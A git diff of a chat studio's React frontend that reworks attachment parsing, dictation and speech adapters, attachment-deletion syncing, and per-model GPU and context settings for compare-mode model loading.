index 67980b94c6..d9e407fd5e 100644
--- a/studio/frontend/src/features/chat/runtime-provider.tsx
+++ b/studio/frontend/src/features/chat/runtime-provider.tsx
@@ -22,7 +22,6 @@ import {
   unstable_useRemoteThreadListRuntime as useRemoteThreadListRuntime,
 } from "@assistant-ui/react";
 import { createAssistantStream } from "assistant-stream";
-import mammoth from "mammoth";
 import {
   type ReactElement,
   type ReactNode,
@@ -33,9 +32,9 @@ import {
   useMemo,
   useRef,
 } from "react";
-import { extractText, getDocumentProxy } from "unpdf";
 import { toast } from "sonner";
-import { StudioWebSpeechDictationAdapter } from "./adapters/studio-web-speech-dictation-adapter";
+import { StudioDictationAdapter } from "./adapters/studio-dictation-adapter";
+import { StudioSpeechSynthesisAdapter } from "./adapters/studio-speech-synthesis-adapter";
 import {
   ThreadAutosaveHandle,
   createOpenAIStreamAdapter,
@@ -55,7 +54,13 @@ import {
 } from "./open-document";
 import { AudioAttachmentAdapter } from "./audio-attachment-adapter";
 import { useChatRuntimeStore } from "./stores/chat-runtime-store";
+import { ToolPaneScopeContext, toolPaneScope } from "./tool-output-scope";
 import type { MessageRecord, ModelType, ThreadRecord } from "./types";
+import {
+  chatContentPartAttachmentIdFromSignature,
+  chatContentPartAttachmentSignature,
+  onChatAttachmentDeleted,
+} from "./utils/chat-attachment-events";
 import {
   deleteStoredChatThreads,
   ensureStoredChatThread,
@@ -79,6 +84,7 @@ const pendingRunStartReadyByMessageId = new Map<string, Promise<void>>();
 
 type TitleResponse = {
   choices?: Array<{
+    finish_reason?: string | null;
     message?: {
       content?: string;
     };
@@ -181,7 +187,10 @@ class PDFAttachmentAdapter implements AttachmentAdapter {
   }
 
   async send(attachment: PendingAttachment): Promise<CompleteAttachment> {
-    const buffer = new Uint8Array(await attachment.file.arrayBuffer());
+    const [{ extractText, getDocumentProxy }, buffer] = await Promise.all([
+      import("unpdf"),
+      attachment.file.arrayBuffer().then((bytes) => new Uint8Array(bytes)),
+    ]);
     const pdf = await getDocumentProxy(buffer);
     const { text } = await extractText(pdf, { mergePages: true });
     return {
@@ -298,7 +307,10 @@ class DocxAttachmentAdapter implements AttachmentAdapter {
   }
 
   async send(attachment: PendingAttachment): Promise<CompleteAttachment> {
-    const arrayBuffer = await attachment.file.arrayBuffer();
+    const [{ default: mammoth }, arrayBuffer] = await Promise.all([
+      import("mammoth"),
+      attachment.file.arrayBuffer(),
+    ]);
     const { value } = await mammoth.extractRawText({ arrayBuffer });
     return {
       id: attachment.id,
@@ -470,6 +482,8 @@ async function generateTitleWithModel(payload: {
       max_tokens: 24,
       top_k: 20,
       repetition_penalty: 1.0,
+      enable_thinking: false,
+      reasoning_effort: "none",
       messages: [
         {
           role: "system",
@@ -485,8 +499,10 @@ async function generateTitleWithModel(payload: {
     .json()
     .catch(() => null)) as TitleResponse | null;
   if (!response.ok) return null;
-  const raw: string | undefined = body?.choices?.[0]?.message?.content;
-  if (!raw) return null;
+  const choice = body?.choices?.[0];
+  if (choice?.finish_reason === "length") return null;
+  const raw: string | undefined = choice?.message?.content;
+  if (!raw || /<\/?think>/i.test(raw)) return null;
   return normalizeTitle(raw);
 }
 
@@ -879,6 +895,168 @@ function useStudioRuntimeAdapters(
 ): StudioRuntimeAdapters {
   const aui = useAui();
 
+  // Mirror Data-tab attachment deletions into the loaded thread. The in-memory
+  // repository otherwise keeps the attachment, and a later repo-to-storage sync
+  // (e.g. deleting a message in the thread) would write it back.
+  useEffect(() => {
+    let active = true;
+    let pendingDeletion = Promise.resolve();
+    const unsubscribe = onChatAttachmentDeleted((event) => {
+      pendingDeletion = pendingDeletion.then(async () => {
+        if (!active) return;
+        const { messageId, attachmentId } = event;
+        try {
+          const thread = aui.thread();
+          if (attachmentId.startsWith("content-part-sha256-")) {
+            for (let attempt = 0; attempt < 3 && active; attempt += 1) {
+              const exported = thread.export();
+              const target = exported.messages.find(
+                (item) => item.message.id === messageId,
+              );
+              if (!target || !Array.isArray(target.message.content)) return;
+              const content = target.message.content;
+
+              const signatures = content.map((part) =>
+                chatContentPartAttachmentSignature(part),
+              );
+              const ids = await Promise.all(
+                signatures.map((signature) =>
+                  signature === null
+                    ? null
+                    : chatContentPartAttachmentIdFromSignature(signature),
+                ),
+              );
+              const targetAttachments = (
+                target.message as {
+                  attachments?: readonly { id: string }[];
+                }
+              ).attachments;
+              const hasTargetAttachment =
+                Array.isArray(targetAttachments) &&
+                targetAttachments.some(
+                  (attachment) => attachment.id === attachmentId,
+                );
+              if (
+                (!ids.includes(attachmentId) && !hasTargetAttachment) ||
+                !active
+              ) {
+                return;
+              }
+
+              // Preserve any messages added or streamed while WebCrypto ran.
+              // Retry if the target's managed content itself changed.
+              const latest = thread.export();
+              const latestTarget = latest.messages.find(
+                (item) => item.message.id === messageId,
+              );
+              const latestContent = latestTarget?.message.content;
+              if (!Array.isArray(latestContent)) return;
+              const latestSignatures = latestContent.map((part) =>
+                chatContentPartAttachmentSignature(part),
+              );
+              if (
+                signatures.length !== latestSignatures.length ||
+                signatures.some(
+                  (signature, index) => signature !== latestSignatures[index],
+                )
+              ) {
+                continue;
+              }
+
+              const messages = latest.messages.map((item) => {
+                if (item.message.id !== messageId) return item;
+                const attachments = (
+                  item.message as {
+                    attachments?: readonly { id: string }[];
+                  }
+                ).attachments;
+                return {
+                  ...item,
+                  message: {
+                    ...item.message,
+                    content: latestContent.filter(
+                      (_, index) => ids[index] !== attachmentId,
+                    ),
+                    ...(Array.isArray(attachments)
+                      ? {
+                          attachments: attachments.filter(
+                            (attachment) =>
+                              attachment.id !== attachmentId,
+                          ),
+                        }
+                      : {}),
+                  } as typeof item.message,
+                };
+              });
+              if (active) thread.import({ ...latest, messages });
+              return;
+            }
+            return;
+          }
+
+          const exported = thread.export();
+          let changed = false;
+          const messages = exported.messages.map((item) => {
+            if (item.message.id !== messageId) return item;
+            const message = item.message;
+            const attachments = (
+              message as { attachments?: readonly { id: string }[] }
+            ).attachments;
+            if (
+              Array.isArray(attachments) &&
+              attachments.some(
+                (attachment) => attachment.id === attachmentId,
+              )
+            ) {
+              changed = true;
+              return {
+                ...item,
+                message: {
+                  ...message,
+                  attachments: attachments.filter(
+                    (attachment) => attachment.id !== attachmentId,
+                  ),
+                } as typeof message,
+              };
+            }
+            if (/^content-part-[0-9]+$/.test(attachmentId)) {
+              // Legacy synthetic id for a blob stored as a message content part.
+              const idx = Number(attachmentId.slice("content-part-".length));
+              const content = message.content;
+              if (
+                !Array.isArray(content) ||
+                !Number.isInteger(idx) ||
+                idx < 0 ||
+                idx >= content.length
+              ) {
+                return item;
+              }
+              const part = content[idx] as { type?: string };
+              if (part?.type !== "image" && part?.type !== "audio") return item;
+              changed = true;
+              return {
+                ...item,
+                message: {
+                  ...message,
+                  content: content.filter((_, i) => i !== idx),
+                } as typeof message,
+              };
+            }
+            return item;
+          });
+          if (changed && active) thread.import({ ...exported, messages });
+        } catch {
+          // No active thread mounted: storage already holds the truth.
+        }
+      });
+      return pendingDeletion;
+    });
+    return () => {
+      active = false;
+      unsubscribe();
+    };
+  }, [aui]);
+
   const history = useMemo<ThreadHistoryAdapter>(
     () => ({
       async load() {
@@ -1017,10 +1195,14 @@ function useStudioRuntimeAdapters(
     [aui, modelType, pairId],
   );
 
-  const dictation = useMemo(
+  // Always register the adapter so the mic stays clickable for any engine. The
+  // engine is resolved at listen() time and the composer shows guidance when it
+  // cannot run, so engine switches also work on an already-mounted thread.
+  const dictation = useMemo(() => new StudioDictationAdapter(), []);
+  const speech = useMemo(
     () =>
-      StudioWebSpeechDictationAdapter.isSupported()
-        ? new StudioWebSpeechDictationAdapter()
+      StudioSpeechSynthesisAdapter.isSupported()
+        ? new StudioSpeechSynthesisAdapter()
         : undefined,
     [],
   );
@@ -1038,8 +1220,8 @@ function useStudioRuntimeAdapters(
     [],
   );
   const adapters = useMemo(
-    () => ({ history, dictation, attachments }),
-    [history, dictation, attachments],
+    () => ({ history, dictation, speech, attachments }),
+    [history, dictation, speech, attachments],
   );
 
   return adapters;
@@ -1330,26 +1512,33 @@ export function ChatRuntimeProvider({
 
   return (
     <AssistantRuntimeProvider runtime={runtime} aui={aui}>
-      <ActiveThreadSync
-        enabled={
-          modelType === "base" && !pairId && !newThreadNonce && !initialThreadId
-        }
-      />
-      <ThreadBackendAutosave modelType={modelType} pairId={pairId} />
-      <CancelRegistrar />
-      {initialThreadId && (
-        <ThreadAutoSwitch
-          threadId={initialThreadId}
-          syncActiveThreadId={syncActiveThreadId}
+      {/* Pane identity for the tool-output store maps: the adapter prefixes its
+          keys with this scope so concurrent panes with colliding tool ids
+          ("call_0") can't bleed live output into each other's cards. */}
+      <ToolPaneScopeContext.Provider value={toolPaneScope(modelType, pairId)}>
+        <ActiveThreadSync
+          enabled={
+            modelType === "base" &&
+            !pairId &&
+            !newThreadNonce &&
+            !initialThreadId
+          }
         />
-      )}
-      {!initialThreadId && newThreadNonce && (
-        <ThreadNewChatSwitch nonce={newThreadNonce} />
-      )}
-      {/* The view stays mounted (only CSS-hidden by RootLayout) while off-route
-          so assistant-ui keeps the run attached and the stream alive. Unmounting
-          it here aborts the in-flight generation. */}
-      {children}
+        <ThreadBackendAutosave modelType={modelType} pairId={pairId} />
+        <CancelRegistrar />
+        {initialThreadId && (
+          <ThreadAutoSwitch
+            threadId={initialThreadId}
+            syncActiveThreadId={syncActiveThreadId}
+          />
+        )}
+        {!initialThreadId && newThreadNonce && (
+          <ThreadNewChatSwitch nonce={newThreadNonce} />
+        )}
+        {/* The view stays mounted (only CSS-hidden) while off-route so the run
+            stays attached and the stream alive; unmounting aborts generation. */}
+        {children}
+      </ToolPaneScopeContext.Provider>
     </AssistantRuntimeProvider>
   );
 }
diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx
index a50af46e85..3f89f70ef1 100644
--- a/studio/frontend/src/features/chat/shared-composer.tsx
+++ b/studio/frontend/src/features/chat/shared-composer.tsx
@@ -8,6 +8,7 @@ import {
 } from "@/components/assistant-ui/think-aria-label";
 import { Button } from "@/components/ui/button";
 import { BulbIcon } from "@/lib/bulb-icon";
+import { MicIcon } from "@/lib/mic-icon";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { cn } from "@/lib/utils";
 import {
@@ -22,8 +23,16 @@ import {
   DropdownMenuTrigger,
 } from "@/components/ui/dropdown-menu";
 import { applyQwenThinkingParams } from "@/features/chat/utils/qwen-params";
+import {
+  StudioDictationAdapter,
+  isStudioDictationAvailable,
+  notifyStudioDictationUnavailable,
+} from "@/features/chat/adapters/studio-dictation-adapter";
+import type { StudioDictationSession } from "@/features/chat/adapters/studio-web-speech-dictation-adapter";
+import { useVoiceSettingsStore } from "@/features/settings/stores/voice-settings-store";
 import { AUDIO_ACCEPT, MAX_AUDIO_SIZE, fileToBase64 } from "@/lib/audio-utils";
 import { isTauri } from "@/lib/api-base";
+import { isDownloadCancelled } from "@/lib/native-files";
 import { isMultimodalResponse } from "./types/api";
 import { getImageInputUnavailableReason } from "./utils/image-input-support";
 import { useAui } from "@assistant-ui/react";
@@ -48,7 +57,6 @@ import {
   Image03Icon,
   McpServerIcon,
   PencilRulerIcon,
-  ShieldBanIcon,
 } from "@hugeicons/core-free-icons";
 import { useNavigate } from "@tanstack/react-router";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -62,25 +70,42 @@ import {
 import { listPromptEntries, type PromptEntry } from "./api/prompts-api";
 import { McpComposerButton } from "./mcp-composer-button";
 import { BypassPermissionsMenuItem } from "./bypass-permissions-menu-item";
+import { PermissionModeComposerPill } from "./permission-mode-select";
 import { reasoningCapsFromLoad } from "./lib/apply-inference-status-to-store";
 import { KnowledgeBaseComposerButton } from "@/features/rag/components/knowledge-base-composer-button";
 import { NewProjectDialog } from "./components/new-project-dialog";
 import { useChatProjects } from "./hooks/use-chat-projects";
 import { confirmRemoteCodeIfNeeded } from "@/features/security";
+import {
+  DEFAULT_MAX_SEQ_LENGTH,
+  normalizeMaxSeqLength,
+  resolveInitialConfig,
+  type PerModelConfig,
+} from "@/features/model-picker";
+import {
+  confirmTransformersUpgradeIfNeeded,
+  useTransformersUpgradeDialogStore,
+} from "@/features/transformers-upgrade";
 import { loadModel, validateModel } from "./api/chat-api";
+import { resolveFitMaxSeqLength, resolveManualAutoCtxPin } from "./presets/preset-policy";
+import { ensureGpuDeviceCache } from "@/hooks/use-gpu-info";
 import {
   parseExternalModelId,
   providerTypeSupportsVision,
 } from "./external-providers";
 import { useExternalProvidersStore } from "./stores/external-providers-store";
+import { useIsMobile } from "@/hooks/use-mobile";
 import {
   PLUS_MENU_ORDER,
   type PlusMenuItemId,
   usePlusMenuPrefsStore,
 } from "./stores/plus-menu-prefs-store";
 import {
+  loadedGpuMemoryFields,
   type ReasoningEffort,
+  reconcilePersistedGpuIds,
   resolveLoadedSpeculativeSettings,
+  persistGpuMemoryModeOnLoad,
   resolveSpeculativeSettingsForLoad,
   saveSpeculativeType,
   useChatRuntimeStore,
@@ -144,18 +169,6 @@ const ArrowDownStandardIcon: FC<{ className?: string }> = ({ className }) => (
   </svg>
 );
 
-const MicIcon: FC<{ className?: string }> = ({ className }) => (
-  <svg
-    className={className}
-    viewBox="0 0 256 256"
-    fill="currentColor"
-    xmlns="http://www.w3.org/2000/svg"
-    aria-hidden={true}
-  >
-    <path d="M128,176a48.05,48.05,0,0,0,48-48V64a48,48,0,0,0-96,0v64A48.05,48.05,0,0,0,128,176ZM96,64a32,32,0,0,1,64,0v64a32,32,0,0,1-64,0Zm40,143.6V232a8,8,0,0,1-16,0V207.6A80.11,80.11,0,0,1,48,128a8,8,0,0,1,16,0,64,64,0,0,0,128,0,8,8,0,0,1,16,0A80.11,80.11,0,0,1,136,207.6Z" />
-  </svg>
-);
-
 function isNativeComposing(event: Event) {
   return "isComposing" in event && (event as InputEvent).isComposing === true;
 }
@@ -207,70 +220,95 @@ function formatReasoningDisabledLabel(
 function useDictation(
   setText: (value: string | ((prev: string) => string)) => void,
 ) {
+  // Re-render support state when the user switches recognition engines.
+  const dictationEngine = useVoiceSettingsStore((s) => s.dictationEngine);
   const [isDictating, setIsDictating] = useState(false);
-  const recognitionRef = useRef<SpeechRecognition | null>(null);
+  // True while a stopped recording's final audio is still transcribing; a
+  // second click then cancels the pending transcription instead of re-stopping.
+  const [isFinalizing, setIsFinalizing] = useState(false);
+  const sessionRef = useRef<StudioDictationSession | null>(null);
+  const startingRef = useRef(false);
+  const finalizingRef = useRef(false);
 
-  const start = useCallback(() => {
-    const SpeechRecognitionAPI =
-      typeof window !== "undefined" &&
-      (window.SpeechRecognition ??
-        (
-          window as unknown as {
-            webkitSpeechRecognition?: typeof SpeechRecognition;
-          }
-        ).webkitSpeechRecognition);
-    if (!SpeechRecognitionAPI) {
+  const start = useCallback(async () => {
+    if (startingRef.current || sessionRef.current) return;
+    // Unsupported engine (e.g. Firefox): explain and steer to the local model.
+    if (!isStudioDictationAvailable()) {
+      notifyStudioDictationUnavailable();
       return;
     }
-    const recognition = new SpeechRecognitionAPI() as SpeechRecognition;
-    recognition.continuous = true;
-    recognition.interimResults = true;
-    recognition.lang = "en-US";
-    recognition.onresult = (event: SpeechRecognitionEvent) => {
-      const last = event.resultIndex;
-      const result = event.results[last];
-      if (!result?.isFinal) return;
-      const transcript = result[0]?.transcript?.trim();
+    startingRef.current = true;
+
+    let session: StudioDictationSession;
+    try {
+      // Routes to the engine chosen in Voice settings (browser or STT model),
+      // honoring the selected microphone, language, and dictionary. Compare
+      // feeds two panes, so recent dictations must not link the unrelated
+      // single-chat active thread.
+      session = new StudioDictationAdapter({ chatId: null }).listen();
+    } catch {
+      startingRef.current = false;
+      notifyStudioDictationUnavailable();
+      return;
+    }
+    sessionRef.current = session;
+    setIsDictating(true);
+
+    // Append final transcripts; the adapter has already applied the dictionary
+    // and records the session in Recent dictations.
+    session.onSpeech((result) => {
+      if (!result.isFinal) return;
+      const transcript = result.transcript?.trim() ?? "";
       if (transcript) {
         setText((prev) => (prev ? `${prev} ${transcript}` : transcript));
       }
-    };
-    recognition.onerror = () => {
+    });
+    session.onEnd?.(() => {
+      if (sessionRef.current === session) sessionRef.current = null;
+      finalizingRef.current = false;
+      setIsFinalizing(false);
       setIsDictating(false);
-    };
-    recognition.onend = () => {
-      setIsDictating(false);
-    };
-    recognition.start();
-    recognitionRef.current = recognition;
-    setIsDictating(true);
+    });
+    startingRef.current = false;
   }, [setText]);
 
   const stop = useCallback(() => {
-    if (recognitionRef.current) {
-      recognitionRef.current.stop();
-      recognitionRef.current = null;
+    const session = sessionRef.current;
+    if (!session) return;
+    // A second click while the final segment is transcribing discards the
+    // pending transcription instead of leaving the pane stuck until timeout.
+    if (finalizingRef.current) {
+      session.cancel();
+      if (sessionRef.current === session) sessionRef.current = null;
+      finalizingRef.current = false;
+      setIsFinalizing(false);
+      setIsDictating(false);
+      return;
     }
-    setIsDictating(false);
+    finalizingRef.current = true;
+    setIsFinalizing(true);
+    // Keep the session and dictation state alive while its final audio segment
+    // is transcribed. onEnd clears both after the transcript callbacks run.
+    void session.stop().catch((error) => {
+      console.error("Could not stop dictation:", error);
+      session.cancel();
+      if (sessionRef.current === session) sessionRef.current = null;
+      finalizingRef.current = false;
+      setIsFinalizing(false);
+      setIsDictating(false);
+    });
   }, []);
 
   useEffect(() => {
     return () => {
-      if (recognitionRef.current) {
-        recognitionRef.current.abort();
-      }
+      sessionRef.current?.cancel();
+      sessionRef.current = null;
     };
   }, []);
 
-  const supported =
-    typeof window !== "undefined" &&
-    !!(
-      window.SpeechRecognition ??
-      (window as unknown as { webkitSpeechRecognition?: unknown })
-        .webkitSpeechRecognition
-    );
+  const supported = StudioDictationAdapter.isSupported(dictationEngine);
 
-  return { isDictating, start, stop, supported };
+  return { isDictating, isFinalizing, start, stop, supported };
 }
 
 export type CompareHandles = MutableRefObject<Record<string, CompareHandle>>;
@@ -383,8 +421,24 @@ type CompareModelSelection = {
   id: string;
   isLora: boolean;
   ggufVariant?: string;
+  config?: PerModelConfig;
 };
 
+function cleanCompareChatTemplate(
+  value: string | null | undefined,
+): string | null {
+  return value?.trim() ? value : null;
+}
+
+function resolveCompareSpecDraftNMax(
+  speculativeType: string | null,
+  value: number | null,
+): number | null {
+  return speculativeType === "mtp" || speculativeType === "mtp+ngram"
+    ? value
+    : null;
+}
+
 // Tool icon plus an X overlay CSS reveals on hover when the pill is active.
 function PillGlyph({ children }: { children: ReactNode }) {
   return (
@@ -506,6 +560,7 @@ export function SharedComposer({
   );
   const artifactsEnabled = useChatRuntimeStore((s) => s.artifactsEnabled);
   const setArtifactsEnabled = useChatRuntimeStore((s) => s.setArtifactsEnabled);
+  const showCanvasMenuItem = useChatRuntimeStore((s) => s.showCanvasMenuItem);
   const mcpEnabledForChat = useChatRuntimeStore((s) => s.mcpEnabledForChat);
   const setMcpEnabledForChat = useChatRuntimeStore(
     (s) => s.setMcpEnabledForChat,
@@ -525,10 +580,6 @@ export function SharedComposer({
   const setWebFetchToolsEnabled = useChatRuntimeStore(
     (s) => s.setWebFetchToolsEnabled,
   );
-  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
-  const setBypassPermissions = useChatRuntimeStore(
-    (s) => s.setBypassPermissions,
-  );
   const ragEnabled = useChatRuntimeStore((s) => s.ragEnabled);
   const setRagEnabled = useChatRuntimeStore((s) => s.setRagEnabled);
   const activeThreadId = useChatRuntimeStore((s) => s.activeThreadId);
@@ -680,16 +731,18 @@ export function SharedComposer({
   // can still be pre-selected, matching Web search/Code/MCP.
   const ragDisabled = modelLoaded && (isExternalModel || !supportsTools);
   const showRagPill = !isExternalModel;
-  // Above 4 pills, collapse to icons only to cut clutter. Compare, Search and
-  // Code always show; the rest are conditional.
-  const pillsCompact =
-    3 +
-      (showImagePill ? 1 : 0) +
-      (showRagPill && ragEnabled && !ragDisabled ? 1 : 0) +
-      (showWebFetchPill ? 1 : 0) +
-      (artifactsEnabled ? 1 : 0) +
-      (mcpEnabledForChat ? 1 : 0) >
-    4;
+  // Above 4 pills, collapse to icons only. Compare, Search, Code, and
+  // permissions always show; the rest are conditional. Narrow viewports
+  // collapse too: the labelled row is wider than a phone-width composer.
+  const isMobile = useIsMobile();
+  const pillCount =
+    4 +
+    (showImagePill ? 1 : 0) +
+    (showRagPill && ragEnabled ? 1 : 0) +
+    (showWebFetchPill ? 1 : 0) +
+    (artifactsEnabled ? 1 : 0) +
+    (mcpEnabledForChat ? 1 : 0);
+  const pillsCompact = isMobile || pillCount > 4;
   // Backwards-compatible alias for call sites still referencing
   // `toolsDisabled` (rare; both pills used it before).
   const toolsDisabled = codeDisabled;
@@ -700,9 +753,9 @@ export function SharedComposer({
 
   const {
     isDictating,
+    isFinalizing: isDictationFinalizing,
     start: startDictation,
     stop: stopDictation,
-    supported: dictationSupported,
   } = useDictation(setText);
 
   useEffect(() => {
@@ -914,47 +967,170 @@ export function SharedComposer({
     // Generalized compare: load each model before dispatching to its side
     if (isGeneralizedCompare) {
       const store = useChatRuntimeStore.getState();
-      const maxSeqLength = store.params.maxSeqLength;
       const trustRemoteCode = store.params.trustRemoteCode ?? false;
-      const chatTemplateOverride = store.chatTemplateOverride;
-      const effectiveChatTemplateOverride = chatTemplateOverride?.trim()
-        ? chatTemplateOverride
-        : null;
+      const fallbackTensorParallel = store.tensorParallel;
       const specSettings = resolveSpeculativeSettingsForLoad({
         usePersistedPreference: true,
       });
+      let loadedFromConfig = false;
 
       function modelDisplayName(id: string): string {
         const parts = id.split("/");
         return parts[parts.length - 1] || id;
       }
 
+      // Warm the device cache before the snapshot below reconciles the GPU
+      // pick: on a cold cache the reconcile passes a stale pick through.
+      if (store.selectedGpuIds != null) {
+        await ensureGpuDeviceCache();
+      }
+      // The GPU/offload knobs both compare loads must use, snapshotted at Send.
+      // ensureModelLoaded runs sequentially and the first load's response echo
+      // (loadedGpuMemoryFields) rewrites the live store -- a non-GGUF or Auto
+      // first model resets gpuLayers/nCpuMoe/split/pick to defaults -- so
+      // reading the store per load would hand model 2 the first model's echoed
+      // defaults instead of the settings the user pressed Send with.
+      const compareLoadKnobs = {
+        gpuMemoryMode: store.gpuMemoryMode,
+        gpuLayers: store.gpuLayers,
+        nCpuMoe: store.nCpuMoe,
+        splitRatio: store.splitRatio,
+        // Reconcile the pick against the GPUs present now, like the model-switch
+        // path: an early remember-restore can hold a stale cross-host pick that
+        // /load would reject (the device cache is populated by send time).
+        selectedGpuIds: reconcilePersistedGpuIds(store.selectedGpuIds),
+        customContextLength: store.customContextLength,
+      };
+      // Set when an accepted transformers install unloaded the active model
+      // server-side; a later failure must then clear the stale checkpoint.
+      let upgradeUnloadedActive = false;
       // Helper: load a model and update store checkpoint
       async function ensureModelLoaded(
         sel: CompareModelSelection,
       ): Promise<string> {
         const currentStore = useChatRuntimeStore.getState();
+        const config = sel.config ?? null;
+        // This pane's effective config: an explicit selection config, else the
+        // remembered store config for this model/quant (never the other pane's).
+        // No saved config resolves to all-null defaults, so settings below fall
+        // through to their session default.
+        const resolved = config
+          ? { config, remembered: true }
+          : resolveInitialConfig(sel.id, sel.ggufVariant ?? null);
+        const ownConfig = resolved.config;
+        const ownRemembered = resolved.remembered;
+        // Mirror single-view resolveLoadMaxSeqLength: a GGUF pane with no explicit
+        // context loads at native (0 -> n_ctx_train), not the session maxSeqLength,
+        // which would silently shrink the shown context.
+        const isGgufLoad =
+          (sel.ggufVariant ?? null) != null ||
+          sel.id.toLowerCase().endsWith(".gguf");
+        // A non-GGUF pane with no saved maxSeqLength falls back to the app default,
+        // not the active model's shared runtime snapshot: else comparing a saved
+        // 128K model against an unconfigured one loads the latter at 128K and OOMs.
+        const effectiveMaxSeqLength =
+          ownConfig.customContextLength ??
+          normalizeMaxSeqLength(ownConfig.maxSeqLength) ??
+          (isGgufLoad ? 0 : DEFAULT_MAX_SEQ_LENGTH);
+        const effectiveChatTemplateOverride = cleanCompareChatTemplate(
+          ownConfig.chatTemplateOverride,
+        );
+        const effectiveSpeculativeType =
+          ownConfig.speculativeType ?? specSettings.speculativeType;
+        const effectiveSpecDraftNMax = ownRemembered
+          ? resolveCompareSpecDraftNMax(
+              effectiveSpeculativeType,
+              ownConfig.specDraftNMax,
+            )
+          : specSettings.specDraftNMax;
+        const effectiveTensorParallel = ownRemembered
+          ? ownConfig.tensorParallel
+          : fallbackTensorParallel;
+        if (ownConfig.selectedGpuIds != null) {
+          await ensureGpuDeviceCache();
+        }
+        const effectiveGpuMemoryMode =
+          ownConfig.gpuMemoryMode ?? compareLoadKnobs.gpuMemoryMode;
+        const effectiveGpuLayers =
+          ownConfig.gpuLayers ?? compareLoadKnobs.gpuLayers;
+        const effectiveNCpuMoe =
+          ownConfig.nCpuMoe ?? compareLoadKnobs.nCpuMoe;
+        const effectiveSelectedGpuIds =
+          ownConfig.selectedGpuIds !== undefined
+            ? reconcilePersistedGpuIds(ownConfig.selectedGpuIds)
+            : compareLoadKnobs.selectedGpuIds;
+        // A pane's context comes from its own config only: a saved pin, or null
+        // (Auto/native). It must not inherit the active model's shared snapshot --
+        // resolveFitMaxSeqLength would treat that as a pin and load this pane at
+        // the other model's context (changing VRAM/results or OOMing).
+        const effectiveCustomContextLength = ownConfig.customContextLength;
         let loadTrustRemoteCode = trustRemoteCode;
         let approvedRemoteCodeFingerprint: string | null = null;
         const isAlreadyActive =
           currentStore.params.checkpoint === sel.id &&
           (currentStore.activeGgufVariant ?? null) ===
             (sel.ggufVariant ?? null);
-        // Already loaded (gate passed at first load): skip a redundant reload that would
-        // re-trigger the gate without the approval fingerprint and fail for HIGH custom code.
-        if (isAlreadyActive) {
+        if (isAlreadyActive && !config && !loadedFromConfig) {
           return "ready";
         }
+        const targetIsGguf =
+          sel.id.toLowerCase().endsWith(".gguf") || sel.ggufVariant != null;
+        // Size validation exactly as the load below, so the training-guard
+        // preflight checks the footprint that actually loads (under Manual + Auto
+        // layers the load sends 0 / the pinned context, not raw maxSeqLength).
+        const compareMaxSeqLength = resolveFitMaxSeqLength(
+          targetIsGguf,
+          effectiveGpuMemoryMode,
+          effectiveGpuLayers,
+          // Prefer this pane's own saved context pin over the shared snapshot,
+          // falling back to its per-pane effective context (GGUF with no saved
+          // context loads at native, not the session maxSeqLength).
+          effectiveCustomContextLength,
+          effectiveMaxSeqLength,
+        );
         const validation = await validateModel({
           model_path: sel.id,
           hf_token: currentStore.hfToken || null,
-          max_seq_length: maxSeqLength,
+          max_seq_length: compareMaxSeqLength,
           load_in_4bit: true,
           is_lora: sel.isLora,
           gguf_variant: sel.ggufVariant ?? null,
           trust_remote_code: loadTrustRemoteCode,
           chat_template_override: effectiveChatTemplateOverride,
+          // Scope the validate to the picked GPUs. GGUF-only, like the load
+          // below: a non-GGUF target must not inherit a hidden GGUF GPU pick.
+          ...(targetIsGguf
+            ? {
+                gpu_ids: effectiveSelectedGpuIds ?? undefined,
+                gpu_memory_mode: effectiveGpuMemoryMode,
+              }
+            : {}),
         });
+        // Upgrade dialog first (mirrors the primary load path).
+        if (validation.requires_transformers_upgrade) {
+          const upgraded = await confirmTransformersUpgradeIfNeeded({
+            modelName: sel.id,
+            upgrade: validation.transformers_upgrade,
+            // No installable release: custom-code models may fall back to the trust_remote_code gate below.
+            trustRemoteCodeFallback: validation.requires_trust_remote_code,
+          });
+          // The install unloads the active model before the swap (even when the
+          // swap then fails); if a later gate cancels or the load fails, the UI
+          // must stop pointing at that unloaded model.
+          if (
+            useTransformersUpgradeDialogStore
+              .getState()
+              .consumeServerUnloadedChat()
+            && currentStore.params.checkpoint
+          ) {
+            upgradeUnloadedActive = true;
+          }
+          if (!upgraded) {
+            throw new Error(
+              `${modelDisplayName(sel.id)} needs a newer transformers release to load.`,
+            );
+          }
+        }
         if (
           validation.requires_trust_remote_code ||
           validation.requires_security_review
@@ -977,19 +1153,36 @@ export function SharedComposer({
         const resp = await loadModel({
           model_path: sel.id,
           hf_token: useChatRuntimeStore.getState().hfToken || null,
-          max_seq_length: maxSeqLength,
+          max_seq_length: compareMaxSeqLength,
           load_in_4bit: true,
           is_lora: sel.isLora,
           gguf_variant: sel.ggufVariant ?? null,
           trust_remote_code: loadTrustRemoteCode,
           approved_remote_code_fingerprint: approvedRemoteCodeFingerprint,
           chat_template_override: effectiveChatTemplateOverride,
-          speculative_type: specSettings.speculativeType,
-          spec_draft_n_max: specSettings.specDraftNMax,
-          // Honor the Tensor Parallelism toggle on compare loads too.
-          tensor_parallel: currentStore.tensorParallel,
+          cache_type_kv: ownConfig.kvCacheDtype ?? null,
+          speculative_type: effectiveSpeculativeType,
+          spec_draft_n_max: effectiveSpecDraftNMax,
+          tensor_parallel: effectiveTensorParallel,
+          ...(targetIsGguf
+            ? {
+                gpu_memory_mode: effectiveGpuMemoryMode,
+                gpu_layers: effectiveGpuLayers,
+                n_cpu_moe: effectiveNCpuMoe,
+                tensor_split: compareLoadKnobs.splitRatio ?? undefined,
+                gpu_ids: effectiveSelectedGpuIds ?? undefined,
+              }
+            : {}),
         });
-        saveSpeculativeType(specSettings.speculativeType);
+        // Keep a compare pane's per-model speculative choice load-local: persist
+        // the global preference only when it came from global settings.
+        if (ownConfig.speculativeType == null) {
+          saveSpeculativeType(effectiveSpeculativeType);
+        }
+        // Persist the GPU Memory mode on a non-diffusion GGUF compare-load too,
+        // so an applied manual choice survives a restart.
+        persistGpuMemoryModeOnLoad(resp, effectiveGpuMemoryMode);
+        upgradeUnloadedActive = false;
         const store = useChatRuntimeStore.getState();
         store.setCheckpoint(
           resp.model,
@@ -998,17 +1191,69 @@ export function SharedComposer({
         store.setModelRequiresTrustRemoteCode(
           resp.requires_trust_remote_code ?? false,
         );
